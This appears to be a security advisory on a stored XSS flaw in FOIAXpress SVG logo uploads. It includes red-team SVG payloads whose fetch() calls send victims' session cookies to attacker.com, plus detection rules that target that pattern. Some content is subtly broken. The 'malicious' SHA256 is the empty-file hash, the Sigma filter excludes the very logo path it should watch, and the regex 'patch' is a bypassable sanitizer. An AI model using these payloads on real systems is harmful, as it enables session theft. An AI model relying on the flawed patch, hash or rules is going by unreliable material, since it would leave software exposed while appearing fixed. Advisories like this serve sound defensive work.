CVE-2025-61999

Executive Summary

CVE-2025-61999 is a stored Cross-Site Scripting (XSS) vulnerability in OPEXUS FOIAXpress versions prior to 11.13.3.0. An authenticated administrative user can upload a malicious SVG image containing embedded JavaScript or other content as the application logo. When other users view pages that render this logo, the injected content executes in their browser context. This allows the attacker to perform actions on behalf of the victim, including stealing session cookies, user credentials, or sensitive data. The vulnerability has a CVSS score of 4.3 (Medium), with a low EPSS probability of 0.0%. No public exploit code or proof-of-concept is currently available.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application, OPEXUS FOIAXpress, which is a Freedom of Information Act (FOIA) request management system. The risk is limited to organizations that deploy this specific software.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – The attacker must have administrative access to upload the logo.
• User Interaction (UI): Required – A victim user must view the page containing the malicious logo.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure (e.g., session cookies).
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. Exploitation requires administrative privileges, but the impact can be significant if a high-privilege user (e.g., another admin) views the malicious logo.

Deep Dive & Mechanics

The vulnerability resides in the logo upload functionality of OPEXUS FOIAXpress. The application does not properly sanitize or validate SVG files uploaded as logos. SVG (Scalable Vector Graphics) files are XML-based and can contain embedded JavaScript via <script> tags or event handlers (e.g., onload). When the application serves the SVG logo to other users, the browser interprets the embedded script as part of the page's DOM, leading to stored XSS.

Attack Flow:

1. An administrative user logs into FOIAXpress.
2. The attacker navigates to the logo upload feature.
3. The attacker uploads a crafted SVG file containing malicious JavaScript (e.g., fetch('https://attacker.com/steal?cookie='+document.cookie)).
4. The application stores the SVG file and serves it to all users viewing pages that display the logo.
5. When a victim user loads such a page, the browser executes the embedded script.
6. The script can steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data.

Root Cause: Lack of input validation and content-type verification for uploaded SVG files. The application likely trusts the file extension or MIME type without inspecting the actual content for executable code.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Logo upload handler (simplified)
if (isset($_FILES['logo'])) {
    $file = $_FILES['logo'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (in_array($ext, ['svg', 'png', 'jpg'])) {
        move_uploaded_file($file['tmp_name'], 'uploads/logo.' . $ext);
    }
}

This code only checks the file extension, not the content. An SVG file with embedded JavaScript is accepted.

Patched Code (Conceptual):

// Logo upload handler with sanitization
if (isset($_FILES['logo'])) {
    $file = $_FILES['logo'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (in_array($ext, ['svg', 'png', 'jpg'])) {
        // For SVG files, strip script tags and event handlers
        if ($ext === 'svg') {
            $content = file_get_contents($file['tmp_name']);
            $content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $content);
            $content = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $content);
            file_put_contents('uploads/logo.svg', $content);
        } else {
            move_uploaded_file($file['tmp_name'], 'uploads/logo.' . $ext);
        }
    }
}

The patched code sanitizes SVG content by removing <script> tags and event handler attributes.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Administrative access to OPEXUS FOIAXpress (version < 11.13.3.0).
• Ability to upload a logo.

Steps:

1. Create a malicious SVG file (e.g., evil.svg):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <rect width="100" height="100" fill="red"/>
  <script type="text/javascript">
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
</svg>

2. Log in as an admin and upload evil.svg as the logo.
3. Wait for other users to view pages that display the logo.
4. Set up a listener on attacker.com to capture exfiltrated cookies.

Alternative Payload (using event handler):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <rect width="100" height="100" fill="red" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)"/>
</svg>

Blue Team (Defensive)

Detection:

• Monitor for unusual SVG file uploads by administrative users.
• Inspect uploaded SVG files for <script> tags or event handlers.
• Use web application firewalls (WAF) to block malicious SVG content.

Prevention:

• Apply the vendor patch (upgrade to version 11.13.3.0 or later).
• Implement strict input validation for SVG uploads:
  • Strip all <script> tags and event handler attributes.
  • Use a whitelist of allowed SVG elements and attributes.
  • Convert SVG to a safe format (e.g., PNG) on the server side.
• Restrict logo upload functionality to trusted administrators only.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes depend on the payload)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious SVG)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal?cookie=...).
  • Unusual Referer headers pointing to FOIAXpress logo URLs.
• Log Entries:
  • Upload of SVG files by administrative users.
  • JavaScript errors in browser console (if script fails).
• File System:
  • SVG files in the logo upload directory containing <script> tags or event handlers.

Detection Engineering

YARA Rule

rule CVE_2025_61999_SVG_XSS {
    meta:
        description = "Detects malicious SVG files with embedded JavaScript for CVE-2025-61999"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61999"
    strings:
        $script_tag = /<script\b[^>]*>/i
        $event_handler = /\bon\w+\s*=\s*"/i
        $svg_xml = /<svg\b[^>]*>/i
    condition:
        $svg_xml and ($script_tag or $event_handler)
}

Sigma Rule

title: CVE-2025-61999 - Malicious SVG Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files containing script tags or event handlers in OPEXUS FOIAXpress
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61999
logsource:
    category: file_event
    product: windows
    service: sysmon
detection:
    selection:
        Image|endswith: '\OPEXUS\FOIAXpress\*'
        TargetFilename|endswith: '.svg'
    filter:
        - TargetFilename|contains: '\uploads\logo'
    condition: selection and not filter
falsepositives:
    - Legitimate SVG logo uploads
level: medium
tags:
    - attack.t1190
    - cve.2025.61999

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-61999 - Potential SVG XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade OPEXUS FOIAXpress to version 11.13.3.0 or later as soon as the patch is available.
2. Workaround: If patching is not possible, disable the logo upload feature or restrict it to a minimal set of trusted administrators.
3. Input Validation: Implement server-side sanitization of SVG files to remove <script> tags and event handlers.
4. Content Security Policy (CSP): Deploy a strict CSP header that blocks inline scripts (e.g., script-src 'self').
5. Web Application Firewall (WAF): Configure WAF rules to block SVG uploads containing JavaScript.
6. Monitoring: Enable logging for file uploads and monitor for suspicious SVG files.
7. User Training: Educate administrators about the risks of uploading untrusted files.

Valters IT